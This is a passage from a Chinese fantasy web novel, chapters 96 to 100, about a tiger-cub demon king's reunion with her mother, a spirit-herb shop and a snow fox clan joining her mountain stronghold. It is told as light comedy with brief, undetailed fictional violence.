天都的降妖师们终于排到柜台前时,看着柜台后那一排排灵光氤氲的灵植和超乎想象的低价标签,倒吸一口凉气。 三参敲了敲柜台:“客人?你们要买什么灵植啊?” 天都的降妖师们互相对视一眼,也顾不上探究这个妖精掌柜的跟脚了,连忙大声开口。 “每一种都给我们来一斤不,二斤!” 三参:“确定吗?每一种都来二斤的话很贵的哦。” 天都的降妖师看着她身后明码的标价签心想,你根本对灵植的价格一无所知。 在天都买灵植,那才是真的很贵! 要按照这家店的标价,能把全天都的灵植店全部卷死! 这价格,就算全都是灵气含量最少的下品下阶灵植也不亏! 所以她们毫不犹豫的掏出了自己的积蓄,买了一大堆自己要用的灵植。 至于堂主下令要的那份灵植,她们也规规矩矩的按照标价买足了分量。 买到灵植后,她们就像店里的所有客人一样,迫不及待的吃下了一部分。 感受到身体里汹涌的灵力后,众人对视一眼,立刻转身继续去排队! 哪怕这队伍一排就要排半天她们也认了! 她们今天的目的已经变了,变成了要把所有的积蓄都砸进这家灵植店里! 至于任务什么的不急! 天都的降妖师们的所作所为,并没有引起大家的注意。 因为所有外来客的表现都这样,大家都习惯了。 三参也习以为常。 她现在心情可好了。 大王和另一位太上皇很快就要回来了,以后她们东坡子洞就是全妖族最厉害的妖洞了! 未来的新地盘新生活就摆在大家眼前,因此大家现在走路都带风。 与此同时的另一边。 衔蝉带着胡英穿过奉王碑,又回到了王庭封印。 路涉川一看到毛发洁白蓬松的胡英,当场就把她扒拉得躺倒在地,再一脑袋枕了上去。 雪狐族那挺威武的原型,在路涉川面前还真就跟个枕头差不多大。 胡英被巨大的虎头压在肚皮上,整个狐狸都动弹不得,连呼吸都变得格外吃力。 但她心里却激动得不得了。 陛下啊!! 妖王陛下啊!! 她们这一支雪狐世代效忠的妖王陛下啊!! 现在就枕在她身上! 她都已经感受到陛下身上的王霸之气了! 胡英艰难的呼出一口气,毛蓬蓬的狐狸脸上露出一丝梦幻的笑容。 衔蝉:“” 衔蝉默默地变回比成年雪狐还小了几倍的原型,跳到虎妈身上。 路涉川抬了抬眼皮,没动。 之后在王庭封印的日子就这么规律了起来。 虎妈每天懒洋洋的枕着自己的新枕头,看着衔蝉哼哧哼哧的催生灵植。 时不时还让衔蝉亲自下厨做点吃的孝敬她。 塔顶的玲珑小塔里,灵霄的魂火也越来越凝实。 知道这魂火燃得越好,铲屎官就能在蓝星活得更健康更长寿后,衔蝉每天干活都可积极了。 后来她还跟虎妈学会了用灵植炼养魂丹,每天都跟打卡一样给铲屎官的魂火投喂养料。 而胡英,虽然每天只能吃剩饭还要给大老虎做枕头,但她好像是三个毛绒绒里过得最知足最幸福的一个。 偶尔路涉川提起她表姐,胡英就会激动得语无伦次,忙不迭的跟她表忠心。 还顺便提了提表姐的孩子胡琅。 衔蝉也跑来跟虎妈咬耳朵,告诉她阿琅是跟她一起长大的小伙伴。 “妈,我都跟阿琅说了你以前跟她娘是好朋友,你不要在她面前提什么枕头啊。” 小白虎一脸严肃的跟大白虎串供,大白虎看在崽子的面子上,不算特别敷衍的“嗯”了一声。 衔蝉这才放心。 这样平静的日子持续了半个月。 半个月后,玲珑小塔里的魂火凝实成了金灿灿的一簇,不再需要靠岭山封印的灵力供养了。 衔蝉小心翼翼的把玲珑小塔从塔顶捧下来,拿给虎妈看。 “妈!看!铲屎官的魂火终于凝成实质了!” 路涉川垂眸看了一眼,从喉咙里挤出了一声轻哼。 这下她跟那逆徒就算是两清了。 从此她在异界便可入轮回转世,不会再有夭折或是魂飞魄散的风险。 而她也终于可以走出这座塔,去找当年的仇人后代们泄泄火气了。 衔蝉:“啊?咱们不把铲屎官接回来吗?就让她一个人在蓝星继续生活啊?” 当初她在蓝星的时候,铲屎官的父母就已经寿终正寝,她好像也没有别的家人了。 要是不把她接过来,她在蓝星就是孤零零的一个人,连相依为命的猫都没有了。 所以衔蝉还打算把她也接过来,给她也养老送终呢。 大白虎却一掌拍飞崽子。 “接什么接,老娘不想再看见她。” 已经在空中飞惯了的衔蝉在地上一个翻滚稳住身体,又屁颠屁颠的跑回虎妈面前。 衔蝉仰头仔细观察虎妈的神色,然后大声说道:“我不信!你在说气话!” 在下一巴掌扇过来之前,小白虎一个灵活走位,躲开了这恼羞成怒的一掌。 大白虎冷哼一声,把崽子提溜回来就是一顿揍。 每次看衔蝉挨揍都瑟瑟发抖的胡英:不敢吭声.jpg。 先前她只当衔蝉是妖王陛下的信使,却没想到她居然就是陛下亲子! 这四舍五入,就是她们妖族的太子殿下啊! 虽然妖族不兴什么血脉继承,都是谁强谁做王,但胡英看着衔蝉每天挨揍的英姿,心想,下一代妖王绝对是她们太子殿下没跑了! 除了她,还有谁经得起陛下这种程度的操练! 一般妖早就被揍死了,但她还能活蹦乱跳的爬起来跟妖王陛下打个三七开! 当然,是妖王陛下三拳,太子殿下砸穿七堵墙 胡英看了半个月这样母慈子孝的场景,却依然没习惯,每次都会在这种时候默默地缩成一团,拼命缩小自己的存在感。 衔蝉又挨了一顿母爱暴击后,很识相的没再提接铲屎官的话题。 因为她知道虎妈就是嘴硬心软,只是现在嘴上说得凶。 要是她真不在意灵霄,就不会为了她在王庭封印里一待就是几百年。 所以这事不着急,迟早能成的。 现在最要紧的是,把虎妈带回东坡子洞去! 第97章 “妈!走!咱回东坡子洞去!”小白虎屁颠屁颠的跑到最前面带路。 大白虎却一爪子按住了小白虎。 路涉川在崽子身上打下一个追踪印记, 随后舔了她一口:“不急,你自己先回。” 被妈妈一口舔成了芒果核的衔蝉:“你要去干嘛?” 大白虎眼里闪过一丝凶光:“不干嘛,去松松筋骨。” 衔蝉:“啊?那好吧, 要不我陪你一起去?” “不用, 我很快就来。” 说完,大老虎腾身一跃, 转瞬就拍断了所有锁链,消失不见。 她一走, 封印的高塔瞬间崩塌,缠绕着锁链的巨剑也片片崩散。 只片刻间,原本的封印就碎了一地。 衔蝉:哇,原来妈真的没说谎,她要是想出去随时都能出去! 那么高的塔和巨剑, 她居然一巴掌就拍散了! 衔蝉眼睛亮晶晶的看着虎妈离去的方向,随后招呼胡英:“胡英姨姨,我们走吧。” 胡英使劲摇头:“使不得使不得,太子殿下喊我名字就好。” 衔蝉:“” 这大狐狸怎么感觉有点憨憨。 难道说阿琅那一支的狐狸都是憨憨吗。 腹诽几句后,衔蝉就跟胡英回到了雪狐族地。 奉王碑前,依旧蹲着很多雪白的大狐狸。 见衔蝉和胡英回来, 众狐狸连忙迎上来:“你们怎么又回来了?是陛下有什么吩咐吗?” 胡英后退一步, 退到衔蝉身侧,神色十分毕恭毕敬。 众狐狸:她吃错药了? 还有, 这个小白虎哪来的? 那个衔蝉大王不是个猫吗?怎么回来的是个小老虎? 衔蝉这会急着要回东坡子洞,没空跟狐狸们解释,便推了推胡英:“胡英姨姨,你来说一下,我先回去一趟。” 胡英连忙点头应下。 “那这里就先交给你了, 我走了!” 说罢,衔蝉转身就走。 留下一众雪狐一脸茫然的看向胡英。 胡英清了清嗓子,将这半个月的事情一一道来。 “陛下已经出关了!不日便要回来一统妖族!带咱们重回往日巅峰!” 雪狐们面面相觑。 保王派那一支雪狐率先欢呼起来,墙头草派犹豫了一下,也跟着附和。 只有胡二那一支反叛派瑟瑟发抖,魂不守舍。 完蛋了!天塌了! 他们好不容易才把这一代的族长给暗中解决了,可却没防住妖王陛下自己从封印里出来了! 这下他们都要死定了! 谁都知道那个暴君对叛徒从不爪下留情的! 但是反抗也是不可能反抗的,笑死,根本反抗不了一点! 那位暴君之所以能一直做暴君,就是因为谁也打不过她!想反抗的都被她揍死了! 所以为今之计只剩下一条,那就是跑路吧! 胡二等狐狸抖如筛糠,当天就哆嗦着回去收拾行囊逃命去了。 他们一走,雪狐族里倒难得的团结了起来。 众狐狸先是商量了要办个什么排场来庆祝陛下回归,又说族长迟迟不归,怕是已经造了不测,不如重新推举新族长。 新族长的人选也是现成的,要么选胡英,要么选那位刚回族里的小雪狐胡琅。 原因很简单,胡英现在身上都沾染了妖王气息,一看便是颇受陛下器重的,族长选她准没错。 选胡琅也好理解,因为在胡英的解释下,众狐狸已经明白衔蝉就是她们的太子殿下了。 而现在大家都知道,胡琅跟太子殿下情同姐妹,关系极好。 要是选她做族长,说不定将来陛下会看在亲崽的面子上,对雪狐族更倚重一些。 胡英点点头:“我也是这么想的。” 她说着又露出了梦幻的笑容:“往后我还要去侍奉陛下呢,恐怕留在族里的时间也不多。” 要知道前半个月里,陛下天天都要枕着她睡七八个时辰! “所以要推举新族长的话还是选阿琅那孩子吧,她跟太子殿下关系好,选她做族长最合适不过了。” 这些天她在王庭封印亲眼看见了大白虎跟小白虎的相处模式,知道陛下嘴上不说但其实是很看重太子殿下的。 于是她觉得可以把宝压在阿琅身上。 她这么一说,众狐狸也没有异议了。 “只是阿琅那孩子又回东坡子洞去了,她好像更喜欢那边的家啊。” “这有什么!”胡英一拍爪:“咱们也跟着过去呗!” “反正陛下很快也要去东坡子洞的,咱们早点过去,还能占个好位置!” 雪狐们连忙点头:“是极是极!” 这下雪狐们达成了一致,也不去管叛逃的胡二那一支雪狐如何了,竟真浩浩荡荡的往东坡子洞去了。 另一边。 天都。 天师堂总堂的秘地中央,一柄巨剑轰然炸开。 守在巨剑旁的天师们齐刷刷喷出一口鲜血,倒地昏迷。 “不好了!岭山封印,破了!!” “快去报告堂主!” 一时间,整个天师堂里都乱作一团。 刚养好伤的晏舒寒不得不强撑着身体,召集了天师堂里各大降妖世家家主前来议事。 风朔也带着风妧去了。 风妧还有点不高兴的样子,悄悄问风朔:“娘,这又是怎么了?咱们什么时候才能回去啊?” 她真的在天都待够了! 风氏本家那些老东西讨人嫌得很,动不动就拿规矩来说事,没劲透了! 她恨不得马上就飞回平安镇,回东坡子洞去做她的二大王! 什么风氏家主,她不稀罕,她娘也不稀罕。 要不是为了把当年勾结林时暗害风朔的幕后黑手揪出来弄死,她们娘俩完全没必要在天都待这么久。 风朔知道风妧不耐烦,她拍了拍女儿的肩:“别急。” “咱们还有些事要做,等做完了再回去也不迟。” 风妧忽然想起什么,拍了一下脑袋:“啊,是了,不急。” 她们回天都来要做的事就两件。 一件查清当年的幕后黑手,一件就是为东坡子洞,也为两族和睦共处铺路。 第一件事已经查得差不多了,很快就能收网。 第二件事原本她们以为要很久,但前些日子衔蝉寄来的书信给她们带来了一个极大的好消息。 衔蝉她亲娘居然就是那位妖王陛下! 风朔当时就有了想法。 听说妖族那边都是以妖王马首是瞻的,那她只要搞定了人族这边,将来就能借着跟衔蝉的关系,跟那位妖王陛下好好谈一谈。 当年两族其实也有过想和谈的意向。 可惜人族这边派系太多,内斗不休,根本选不出一个正经的王者去跟妖族和谈。 灵霄长老那一派没能在争权夺利上斗过排除异己那一派,这也直接导致了后来的悲剧。 要是人族内部能有一个像妖王一样能镇压全族的强者,那两族才有可能真正坐下来和谈。 否则今天跟这一派谈妥了,明天那一派又掀桌了,谈也白谈。 如今风朔一直留在天都,甚至不惜放弃自由接任风氏家主之位,就是想尽快把散沙似的人族各大世家压下去。 最好能做到像妖王强行把妖族都镇压在她爪下那样,把人族也强行压成一块铁板。 这就是风朔的天都之行最重要的事情。 而这事她也有把握。 曾经她就是力压各大世家的绝世天骄,如今她依然是! 她要做的就是继续立在人族之巅,将底下那些各怀心思的阴谋诡计全都镇下去! 现在她在天师堂里的话语权已经接近堂主晏舒寒了,要是她能跟晏舒寒达成一致,那以后什么事情都好做! 但晏舒寒此人,风朔一直有些看不懂。 她并不是天师堂里最厉害的天师,但却是最有权势的天师。 风朔与她打交道的时间不长,但总觉得她身上有一种矛盾感。 她似乎一直热衷于将权势牢牢握在手中,又似乎心中热血未凉,偶尔行事颇有些让人感慨其天真。 可就是这么一个人,硬是在总堂主的位置上稳稳地坐了几十年。 风朔心中暗叹一声,不知道晏舒寒今天召集大家又是为的什么。 “今日召各位家主前来,是想告诉大家一个坏消息。” “岭山封印已破,妖王已经逃脱。” “什么?!” “不是前些日子刚去加固过封印吗?!” “不是说封印还能撑个几十年吗!怎么这么快就被冲破了?!” “完了,那妖王一出封印,必定会再次大开杀戒!” “当年全人族所有大天师加在一起都不够她杀的,现在灵气衰退,还有谁能拦她!” “完了,人族要完了!” “不!我们还有一线生机!”晏舒寒沉声道:“诸位请看!” 她拍拍手,让手下捧来一个大盒子。 盒子一打开,里面竟全是灵植! 再仔细一看,这些灵植还都不是凡品! 晏舒寒:“若是有大量的灵植供应,诸位可有信心尽快突破至大天师,为人族一战?!” 在场的各位家主们面面相觑。 风朔却看着那盒子里的灵植挑了挑眉。 风妧也看出来了,站在风朔身后拉了拉她的袖口。 娘俩打了个眼神官司。 风妧:娘,你看那灵植是不是很眼熟? 风朔:嗯。 风妧:那是咱家的灵植! 风朔:对。 娘俩对视一眼,没想到咱东坡子洞的灵植扬名这么快,这就卖到天都来了? 那真是巧了! * 一道残影在十万大山中闪过。 路涉川一出封印,就直奔岭山以南的某个人族城池。 数百年过去,那个人族城池早就变了个模样,但路涉川却依旧记得大致的方向。 猫都是很记仇的,大猫尤甚。 路涉川可能会不记得自己揍死了多少个惹她不高兴的反骨仔,但她一定会记得自己一时杀漏了的小臭虫。 一群让路涉川在王庭封印里不知道留下了多少道爪痕的,曾在她爪下侥幸逃脱的臭虫。 第98章 路涉川循着气息杀过去的时候, 那些人正在享受着纸醉金迷的生活。 她大摇大摆的轰碎了他们的大门,在他们惊恐的眼神中弹出了锋利的爪勾 随后又直奔下一处地点。 直到把记得的家伙全部解决后,路涉川才甩了甩爪子上沾到的血迹, 暂且收手。 还有些一时没想起来的家伙, 就留着什么时候想起来了再说。 现在嘛,她有更重要的事, 去找她的崽子。 路涉川头也不回的往印记所指的方向赶去。 她赶路的速度极快,连缩地成寸和驾云腾飞的法术都用上了。 横贯中州的岭山山脉, 她竟只花了不到一个时辰就穿了过去。 要是衔蝉看见这风驰电掣的速度,指定又要闹着学这个。 不过现在衔蝉正忙着呢。 东坡子洞的猫大王变身虎大王后王者归来,此时正在接受大家的祝贺与欢呼。 衔蝉挥了挥爪子,压下大家的欢呼,又跟大家说了, 太上皇陛下马上就到,大家准备准备! 这时有小妖就举爪了:“大王,以后咱们有两个太上皇,要怎么区别称呼呢?” 像叫大王和二大王那样,叫大太上皇,二太上皇吗? 但谁做大谁做二呢? 衔蝉一脸机灵相:“以后人类太上皇就叫太上皇!妖王太上皇就叫太上皇陛下!” 众妖一听, 直道大王英明! 衔蝉又说要大摆宴席迎接亲娘回归, 让大家速速去准备起来。 “把三参她们也喊回来,咱们要在山上大贺三天!” “好耶!” 立刻就有妖下山去平安镇上找三参她们去了, 如今哪怕是刚化形的小妖,也能大大方方的去镇上了。 不多时,三参等妖就在平安镇居民们依依不舍的目光中回到了山上。 之后东坡子洞上上下下就因为这事忙了起来。 衔蝉也很有孝心的去给虎妈亲自下厨了,虽然虎厨艺一般,但胜在她有挂! 她丹田里发芽的混沌宝珠能让经过她之手的食物都灵气四溢, 味道也差不到哪里去。 等路涉川顺着印记来到东坡子洞上空时,看到的就是这样一个忙得热火朝天的场景。 驾云赶来的大白虎按下云头,随后在云里化作极高大的人形,一跃而下。 她跳下来的位置,刚好就是东坡子洞的某个巡逻岗哨附近。 因此她一落地,就有妖兵将她团团围住。 “什么妖在那里?来我们东坡子洞有何贵干?!” 路涉川上下打量了一下妖兵们,啧了一声:“弱。” 就这战斗力,还不够她一指甲弹的! 妖兵们:“?” 妖兵们略过路涉川的妖身攻击,继续盘问她。 路涉川见状有点想发火,但一想到这些妖兵都是她崽子的手下,又压下了心里的不爽。 “我来找你们的衔蝉大王。” 大老虎感觉自己这辈子都没这么有耐心有礼貌过。 但即便她很有耐心,很有礼貌,她身上无时无刻不在散发着的那种无形威慑力依旧让妖兵们如临大敌。 实力上的差距让妖兵们非常谨慎。 她们并没有进一步盘问路涉川,而是让她先稍候片刻,再火速飞奔去找自家主将来镇场子。 路涉川也是头一回遇到这种明明怕她怕得腿肚子都在哆嗦却依然坚持不肯放她进去的小妖。 这让她对这些微末小妖高看了一眼。 随后在心里自夸道,不愧是老娘的崽子,训练出的手下弱归弱,但总算还有几分骨气。 这样一想,路涉川也不急着硬闯进去了,她背着双手,颇有兴致的决定要好好看看崽子创建的这个小势力。 没一会后,身披铠甲手持银枪的玄蛛到了。 跟妖兵们只能模糊感知到路涉川很强但又不知道她究竟有多强不一样,玄蛛的感知力更敏锐。 她一来,就险些被那股扑面而来的威压给压弯了腰。 玄蛛:“!” 好强! 再偷偷瞄一眼来者的衣着。 身穿白底黑边道袍的路涉川挑了挑眉。 玄蛛扑通一声就跪下了。 “恭迎太上皇陛下!!” 路涉川笑了笑:“你这小妖倒有几分聪明。” 玄蛛激动得刷的一下站的笔直:“多谢太上皇夸赞!属下这就带您进山,陛下请!” 路涉川:“嗯,带路吧。” 玄蛛仿佛听到了什么天籁:“是!!” 妖兵们:“” 真是妖生头一遭看到大将军这么谄媚的样子呢。 但那可是太上皇陛下诶!岭山之主!妖族之王! 要不是还有巡逻任务在身,妖兵们真想跟着自家主将一起给太上皇陛下带路。 没办法,慕强妖都这样的。 玄蛛竭力压下心头直面偶像的激动,尽可能保持沉稳的形象为她一边带路一边解说。 “陛下,咱们东坡子洞虽然创立不久,但在大王的带领下,咱们已经是这方圆三百里内最强的势力了!” “咱们山上有峰头十数座,灵田数百亩,还有养殖的牲畜水产,成片的粮仓武器库” “这些都是大王带着咱们奋斗出来的!” 自从亲眼看见路涉川那一刻起,玄蛛就下定了要在东坡子洞干到死的决心。 于是她热情洋溢的给路涉川介绍东坡子洞的一切,并且与有荣焉。 听她拉呱了一通后,路涉川也对自家崽子的势力稍微认可了那么一丢丢。 但总体上她还是有点不满意的。 太小了。 就这点地盘,这点属下,这怎么够? 不把整条岭山山脉都拿下,怎么对得起她岭山之主的排面! 再跟着玄蛛继续往主峰走,期间所见的景色也逐渐变化。 路涉川看着满山绿油油的灵田,和灵田之间高耸的各类建筑,以及无数条飘带一样把每座山头连接在一起的桥梁。 再看山间忙忙碌碌的小妖们。 有的在田里施肥浇水,有的在割草饲养牲畜,有的在来回巡逻,有的在哼哧哼哧的练武比斗。 说实话,这些场景让路涉川感到有些新奇。 因为在她的印象里,只有人族的地盘上才能看到这样井井有条的秩序。 妖族天生天养,生来粗犷,很少能耐得住性子去做很细致的事情。 你让她们去打打杀杀行,但让她们去种地翻土,她们能把你的地皮都铲飞。 路涉川自己也是这样的。 她可以一爪子拧断反骨仔的狗头,但却耐不住性子去自己种点什么。 她顶多自己去猎杀一些猎物,再随手逮一个幸运儿给她当厨子。 自己种地自给自足什么的是不可能的。 她缺什么,她自然会去抢。 在她的观念里,那也不叫抢。 那是她的东西放在了弱鸡手里,等着她取回而已。 妖就是这样的,谁强谁说了算。 所以妖族的秩序其实很有些混乱。 身为妖族的王,路涉川很不耐烦去管那些什么生产发展之类的杂事。 她是个很典型的妖王,只知道属下不听话就揍死换一批,不好用也揍死换一批,总之万事不决先揍死再换一批。 等真遇上什么大事了,她再出面镇压所有闹事的家伙,这事就算了了。 历代妖王都这样,底下的妖族当然有样学样。 所有妖族虽然都臣服于妖王,但除了妖王之外她们谁也不服,经常你打我我打你闹个不停。 跟人族的来往也没个章程,全凭心情。 正因如此,妖族的整体实力虽然远高于人族,但最终还是被相对更团结的人类逼得退回了岭山。 这要是放在以前,路涉川会觉得成王败寇,一切都理所当然。 但今天在崽子的地盘上走了一遭,她才想,或许妖族也可以换一种生活方式? 也许,妖族也该像人族那样,建立起更细致的秩序,发展出更团结的势力。 不再是以往那样散沙似的各顾各的,而是在同一个王的麾下为了同一个目标而努力。 没道理人族能做成的事情,她们妖族反而做不成。 一路走来,路涉川的表情越发的凝重。 她想,有些事情,她的崽子好像比她做得更好。 这东坡子洞虽然小,虽然弱,虽然穷,但在这里的每一个妖身上,路涉川都能看见勃勃的生机与希望。 假以时日,这些微末小妖一定能抱团成长为下一个强大的妖族。 不是哪一支哪一族的单一妖族,而是聚在同一个大王麾下,不分跟脚种族的融合妖族! “诶!妈!你来啦!” 一只小白虎欢快的跑过来,又朝玄蛛挥了挥爪。 “玄蛛,辛苦你了!” 玄蛛弯腰行礼:“不辛苦!这是属下该做的!” 衔蝉:怎么感觉她好像打了鸡血一样。 但玄蛛一直都很崇拜虎妈,好不容易跟偶像面基,她激动一点也可以理解。 “你先去忙吧,等会记得来大广场聚餐噢!” 玄蛛点点头,昂首挺胸的继续巡逻去了。 衔蝉变成人形,拉着虎妈就要往大广场走。 “妈,我带你去认识一下大家!大家都等你好久了!” 路涉川顺着崽子的力道,任由她拉着自己走。 很快娘俩就来到了东坡子洞开大会聚大餐的主峰大广场上。 这里果然已经有很多妖在等着了。 衔蝉拉着虎妈走到广场最前面的台子上,跟大家挥了挥手。 “来给大家介绍一下,这位就是我们东坡子洞的太上皇陛下,本大王的亲娘:路涉川!大家鼓掌欢迎!” 雷鸣般的掌声响起。 衔蝉又伸手往下一压,掌声立刻停止,所有东坡子洞的成员都面带崇拜的看向台上的娘俩。 衔蝉清了清嗓子:“以后太上皇陛下就是咱们东坡子洞的第三位大领导了,大家要见到太上皇陛下要像见到本大王或者太上皇那样!” 路涉川眉头一皱。 “第三位?” “你们还有另一个太上皇?” 她是太上皇可以理解,毕竟这是她崽子的洞府,但为什么她是第三位大领导?! 第一是她崽子,那第二又是谁! 另一个太上皇又是谁! 第99章 “问你话呢?你怎么不说话了?” 衔蝉:“” 妈怎么回事!怎么一来就问这种死亡问题! 这是她该在意的点吗?! 衔蝉清了清嗓子:“咳, 妈,这个我们待会私下里再说。” 路涉川死亡凝视了崽子好一会。 虽然在大庭广众之下给她留了点面子,但那股“你解释不好就要挨揍”的杀气衔蝉还是精准的接收到了。 背后隐隐发凉的衔蝉赶忙说了几句场面话, 然后赶在虎妈发火之前, 把她拉到了僻静处。 路涉川冷哼一声:“现在,解释吧。” 衔蝉头顶划过一丝冷汗, 硬着头皮解释:“咳咳!其实,在妈回来之前, 我还拜了个师尊。” 路涉川一副“你到底有几个妈”式阴阳怪气:“哦,真的是师尊,不是什么干娘义母之类的吗。” 衔蝉大呼冤枉:“真的是师尊!妈你不要多想!” “而且师尊还救了我的命呢!要不是她,我不仅不能从悬崖下回来,还学不了这么多本事呢!” 衔蝉把如何坠崖, 如何拜师,如何跟随人类师尊学本事的经历一一道来。 “哦,所以当时你身上那三层保护禁咒也是她下的。”路涉川面无表情。 呵,这破崽子,身上有她下的封印还不够,还要在她的下的封印上再叠三层人类的保护禁咒。 衔蝉:“是!但是这不是重点!” 她强调:“重点是妈你这么酷炫一个妖王, 为什么还要吃这种莫名其妙的醋!” 砰的一声。 衔蝉当场就旋转着飞了出去。 路涉川冷着脸拂袖而去。 笑话!她堂堂妖王, 会因为崽子有了别的长辈而吃醋?! 衔蝉:捂着隐隐作痛的脑壳不敢吭声.jpg 正好路过,看到衔蝉飞出去的白三姑连忙一个快步上前, 把衔蝉扶起来。 “大王,没事吧?” 衔蝉摇摇头:“三姑,我没事啊,妈你怎么又回来了!” 路涉川盯着白三姑看了一眼,又看向崽子。 “呵, 姑姑也有了呢。” 虽然是她亲生的崽子,虽然先前她召唤了几遍崽子都不搭理她,虽然好不容易喊出来的破崽子身边已经挤满了别的亲亲密密的长辈。 但! 她一点!都!不生气! 衔蝉:这怎么能怪我嘛! 虎委屈! 在不讲道理的暴躁亲妈面前,衔蝉窝窝囊囊的生了一会窝囊气,然后又扭头去大厨房了。 不久后,一场前所未有的热闹大席开席了。 路涉川坐在正位首席上,见自己身侧暂时没有多出一个敢跟她平起平坐的家伙,脸色稍微好看了一丢丢。 哼,还算这破崽子有眼色。 衔蝉一筷子烤肉夹到路涉川面前的盘子里。 “妈!尝尝这个!我专门按照你的口味烤的哦!” 与大王和太上皇陛下同坐一席的东坡子洞元姥们暗搓搓围观这娘俩之间的互动。 太上皇陛下看上去好像有点不高兴啊。 为啥会不高兴? 对宴席不满意? 大王给她夹菜了,她会吃不? 路涉川绷着脸,吃了烤肉。 衔蝉殷勤的又夹一筷子。 路涉川冷脸继续吃。 席上的大家:这下放心了。 衔蝉也松了一口气,没话找话:“妈,你觉得咱们山上怎么样?还有啥需要改进的地方不?” 路涉川毫不留情:“不怎么样,要改的地方多着呢。” 只想客套一下的衔蝉忽然就不服气了:“那是哪里需要改呢!” “小,穷,弱。”路涉川说一个字,衔蝉就感觉自己好像被扎了一箭。 席上的东坡子洞众元姥也纷纷埋头吃饭,假装很忙。 衔蝉努力挽尊:“但是我们是初创团队!有现在的成绩已经很不错了!进步空间也很大的!” 路涉川悠悠开口:“但本王当年,只花了半年时间就揍服了所有妖族。” 出来闯荡世界半年后,她就成了实至名归的岭山之主。 整条岭山山脉都是她的地盘,所有妖族都是她麾下之臣,包括人类在内,不管是谁见了她都得恭恭敬敬的喊一声“妖王陛下”。 衔蝉:这话没法接! 虎小声嘟囔:“这打击式教育也太糟糕了,就不能鼓励式教育吗。” 更小声念叨:“师尊就从不说这种话。” 她只会鼓励她,夸她进步真快,还叫她好孩子。 这才是教育孩子的正确方式嘛! 路涉川眼睛一眯。 感知到杀气的衔蝉立马闭嘴。 但这时候闭嘴已经晚了。 路涉川当场放下碗筷,就要让崽子见识见识什么是妖族的传统教育方式! 再次飞起来的衔蝉:“妈呀!!!” 在场所有妖和人都倒吸一口凉气,只有知道前因后果的首席上的各位元姥们想笑又不敢笑,憋得很辛苦。 一顿氛围格外诡异的饭吃到一半,又有小妖来通报,外面来了一群陌生妖。 “啥陌生妖?”衔蝉急忙找回大王的状态,重新回到座位上正襟危坐。 “报告大王,是一群陌生的雪狐妖!说是要来拜见大王和陛下的!” 衔蝉扭头看了一眼虎妈。 路涉川脸上没什么表情。 “喔!那让她们进来吧。” 小妖应下,不多时就带上来一大群白蓬蓬的雪狐。 雪狐们倒也很有眼色,全程都眼观鼻鼻观心,没敢东张西望四处乱瞧。 直到被带到衔蝉面前,为首的雪狐才扑通一声跪下。 “雪狐一族,拜见陛下,拜见太子殿下!” 这说跪就跪的架势,把东坡子洞的成员们都吓了一跳。 然而路涉川对此习以为常。 她看着跪了一地的枕头,忽然又想起一件事。 “本王记得,当初你们族里有个不听召的叛徒,把他交出来。” 雪狐们顿时满头冷汗。 因为她们都知道妖王陛下说的叛徒就是她们的上任,不,上上任族长。 也就是背刺了胡琅的娘亲,又借机上位的那一任族长。 “回陛下,他已经死了。” 胡英战战兢兢的出来答道。 路涉川皱眉:“死了?什么时候死的?怎么死的?” 胡英:“他背叛您和上上上任族长后,又被自己的亲信背叛了。” 他好不容易才爬上来的族长宝座,没坐上多久就被挤下去了。 路涉川啧了一声:“那他的后代呢?” 她现在有点不爽,急需一些沙包泄愤。 胡英缩了缩脖子:“他的后代前些日子也叛逃出雪狐族了。” “他们得知陛下出关,怕被一并清算,就先逃了。” “那就把他们都抓回来,处理掉。”路涉川吩咐道。 胡英连忙点头:“是!我们已经派妖去抓他们了,等抓回来之后就送给陛下处置。” 路涉川这才稍稍满意。 随后她看了看满地的白绒绒,觉得还是领头这个最白最蓬,便随手指了她起来。 “好了,别的枕狐狸都下去,本王要午休了,你,起来,以后就在本王身边听候命令。” 胡英又是好一阵感动,陛下果真长情! 她也要像表姐那样誓死效忠陛下! 满脸激动的大狐狸屁颠屁颠的跟着路涉川走了,留下满地雪狐和衔蝉大眼瞪小眼。 雪狐们有点茫然,太子殿下怎么还不安置她们? 衔蝉也茫然,你们就都不走了? 雪狐们:对啊。 衔蝉嘶了一声。 “咳,你们的意思是,从此就投在我东坡子洞麾下了?” 雪狐们响亮的齐声回答衔蝉:“是!往后雪狐族全听陛下和殿下号令!” 衔蝉顿时一喜。 雪狐族可是个大妖族啊!她们这一来,东坡子洞的实力又能上涨一大截! 衔蝉连忙把阿琅拉过来。 “阿琅,你也是雪狐族的,那以后雪狐族就交给你管辖了!” 雪狐们当即纳头就拜:“参见新族长!” 阿琅就这么稀里糊涂的成了雪狐族的新族长,速度之快,她自己都没反应过来。 但反应过来后,阿琅立刻严肃了表情。 既然让她做了族长,那她以后就要负起责任,既要帮助雪狐们融入东坡子洞,也要让雪狐们跟东坡子洞一条心! 小狐狸瞬间燃起了斗志。 之后雪狐族果然就留了下来。 当然也把雪狐族的地盘,势力,财宝,附属种族等一并打包,都送到了衔蝉手里。 东坡子洞的地盘一下子就大了十几倍! 成员数量也在雪狐及其附属种族的加入后暴涨至五位数! 这下衔蝉能调动的妖手和能耕种的地盘就更多了。 她毫不犹豫,下令扩建灵田。 因为虎妈告诉过她,混沌宝珠就是要多用,越用越好用! 没有什么办法比种更多的田栽更多的灵植更能发挥混沌宝珠的作用了! 只要把灵田开垦好,衔蝉每天去各个山头巡视一圈再修炼片刻,混沌宝珠吞吐的灵气就能让作物们全部变异成灵植! 这样一来,灵植店的货源就更不愁了,她们山上自己要吃要用的灵植也更多了! 衔蝉还有个想法,她要用这些灵植,招揽更多的成员,打下更大的地盘! 当年虎妈的战绩她虽然没法一比一复刻,但虎母无犬子,她也不能差太远! 对此,路涉川表示很欣慰。 这才像是她的崽嘛! 她还表示,崽子放心飞,要是遇到硬茬也别犹豫,揍就完事! 什么,你说万一没揍赢怎么办? 当她是死的吗! 要是谁把她的崽给揍了,她当然要出来把没出息的崽子和欺负她崽的混蛋一起揍成狗啊! 衔蝉拍爪:“不对啊,为什么要连我一起揍?!” 路涉川哼了一声:“你要是在外面丢了老娘的脸,当然要连你一起揍!” 衔蝉小声叭叭:“暴力教育不可取!” 回应她的,是虎妈从天而降的大爪子,和眼前急速变换的高速风景。 第100章 路涉川给崽子定下了一个小目标。 三年内, 一统全妖族! 不论她用什么方法,只要能把散沙似的各大妖族收拢在她麾下,就算她达标。 衔蝉也不含糊, 一口应下。 因为虎现在底气足得很。 妖王亲妈本身就是个能镇压全场的超级大姥, 有她在东坡子洞,就算她不出手, 也没谁敢在这大小声。 